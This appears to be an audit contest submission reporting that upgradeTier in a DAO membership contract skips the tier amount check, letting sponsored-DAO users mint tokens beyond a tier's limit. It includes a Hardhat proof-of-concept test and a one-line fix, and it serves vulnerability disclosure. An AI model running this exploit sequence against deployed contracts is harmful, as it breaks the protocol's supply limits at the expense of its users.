Submission Details
Severity:
Membership token amount limits can be bypassed with upgradeTier(address,uint256)
Summary
Membership token amount limits are assigned on a per-tier basis, e.g.:
TierConfig = [
{ price: 200, amount: 2, minted: 0, power: 12 }, // tier 0 - maximum amount of tokens is 2
{ price: 100, amount: 4, minted: 0, power: 6 }, // tier 1 - maximum amount of tokens is 4
];
We can describe this as a protocol invariant:
tier[i].amount >= tier[i].minted
i.e. the maximum number of minted tokens will always be less than or equal to the amount of available tokens. However, this invariant can be broken.
Vulnerability Details
The amount limits are properly enforced in joinDAO(address,uint256:
(note: the operator greater than is used here, because the action will mint a token, so our invariant is still correct when tier[i].minted + 1 happens)
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full."); // proper enforcement of amount limits
...
}
However, the enforcement is lacking in upgradeTier(address,uint256):
function upgradeTier(address daoMembershipAddress, uint256 fromTierIndex) external {
require(daos[daoMembershipAddress].daoType == DAOType.SPONSORED, "Upgrade not allowed.");
require(daos[daoMembershipAddress].noOfTiers >= fromTierIndex + 1, "No higher tier available.");
IMembershipERC1155(daoMembershipAddress).burn(_msgSender(), fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), fromTierIndex - 1, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, fromTierIndex - 1);
}
A simple proof of concept shows the correctness of my assumption:
(note: the extreme case when amount = 0 is used for demonstration, however, the transaction will succeed even when amount > 0 is true).
import { expect } from "chai";
import { ethers } from "hardhat";
describe("MembershipTokenLimitBypass", function () {
let owner: any, user: any, attacker: any;
let currencyManager, membershipImplementation, membershipFactory: any, testERC20:any;
let DAOType:any, DAOConfig:any, TierConfig:any;
beforeEach(async function () {
// init signers
[owner, user, attacker] = await ethers.getSigners();
// deploy CurrencyManager
const CurrencyManager = await ethers.getContractFactory("CurrencyManager");
currencyManager = await CurrencyManager.deploy();
await currencyManager.deployed();
console.log("CurrencyManager deployed at:", currencyManager.address);
// deploy MembershipERC1155
const MembershipERC1155 = await ethers.getContractFactory("MembershipERC1155");
membershipImplementation = await MembershipERC1155.deploy();
await membershipImplementation.deployed();
console.log("MembershipERC1155 deployed at:", membershipImplementation.address);
// deploy MembershipFactory
const MembershipFactory = await ethers.getContractFactory("MembershipFactory");
membershipFactory = await MembershipFactory.deploy(currencyManager.address, owner.address, "https://baseuri.com/", membershipImplementation.address);
await membershipFactory.deployed();
console.log("MembershipFactory deployed at:", membershipFactory.address);
// deploy testERC20
const ERC20 = await ethers.getContractFactory("OWPERC20");
testERC20 = await ERC20.deploy('OWP', 'OWP');
await testERC20.deployed();
console.log("TestERC20 deployed at:", testERC20.address);
// add currencies: WETH, WBTC, USDC, USDC.e, OWPERC20
await currencyManager.connect(owner).addCurrency("0x7ceb23fd6bc0add59e62ac25578270cff1b9f619"); // WETH
await currencyManager.connect(owner).addCurrency("0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6"); // WBTC
await currencyManager.connect(owner).addCurrency("0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359"); // USDC
await currencyManager.connect(owner).addCurrency("0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174"); // USDC.e
await currencyManager.connect(owner).addCurrency(testERC20.address); // OWPERC20
});
it("Breaks invariant amount >= minted", async function () {
DAOType = { PUBLIC: 0, PRIVATE: 1, SPONSORED: 2, };
DAOConfig = { ensname: "test", daoType: DAOType.SPONSORED, currency: testERC20.address, maxMembers: 5000, noOfTiers: 7 };
TierConfig = [
{ price: 0, amount: 2, minted: 0, power: 12 }, // tier 0
{ price: 0, amount: 4, minted: 0, power: 6 }, // tier 1
{ price: 0, amount: 8, minted: 0, power: 3 }, // tier 2
{ price: 0, amount: 16, minted: 0, power: 12 }, // tier 3
{ price: 0, amount: 32, minted: 0, power: 6 }, // tier 4
{ price: 0, amount: 0, minted: 0, power: 0 }, // tier 5
{ price: 0, amount: 128, minted: 0, power: 12 }, // tier 6
];
const tx = await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const receipt = await tx.wait();
const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
const ensName = event.args[2][0];
const nftAddress = event.args[1];
const ensToAddress = await membershipFactory.getENSAddress("test")
expect(ensName).to.equal("test");
expect(ensToAddress).to.equal(nftAddress);
console.log("Sponsored DAO created.")
// user buys tier 0 (lowest tier) nft
const tx_join_dao = await membershipFactory.connect(user).joinDAO(nftAddress, 6);
const tx_join_dao_receipt = await tx_join_dao.wait();
// user buys tier 0 (lowest tier) nft again, because 2 same tier tokens are needed for an upgrade
const tx_join_dao_2 = await membershipFactory.connect(user).joinDAO(nftAddress, 6);
const tx_join_dao_2_receipt = await tx_join_dao_2.wait();
// user calls upgrade tier, minting "invalid" token
const tx_upgrade_tier = await membershipFactory.connect(user).upgradeTier(nftAddress, 6);
const receipt_upgrade_tier = await tx_upgrade_tier.wait();
const nftContract = await ethers.getContractAt("MembershipERC1155", nftAddress);
const userBalance = await nftContract.balanceOf(user.address, 5);
expect(userBalance).to.equal(1);
console.log("Call to upgradeTier() bypass amount limits.");
});
});
Likelihood
High - any user can execute the sequence of action for any DAO where daoType == SPONSORED.
Impact
Medium - protocol invariant is broken, leading to unexpected behaviour.
Tools Used
Manual analysis
Hardhat
Foundry
Recommendations
Perform the limit check in the upgradeTierfunction as well.
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full.");
Prize pool breakdown
Total prize
15,000 USDC
nSLOC
54128
USDC / LOC
14,000 USDC
1,000 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.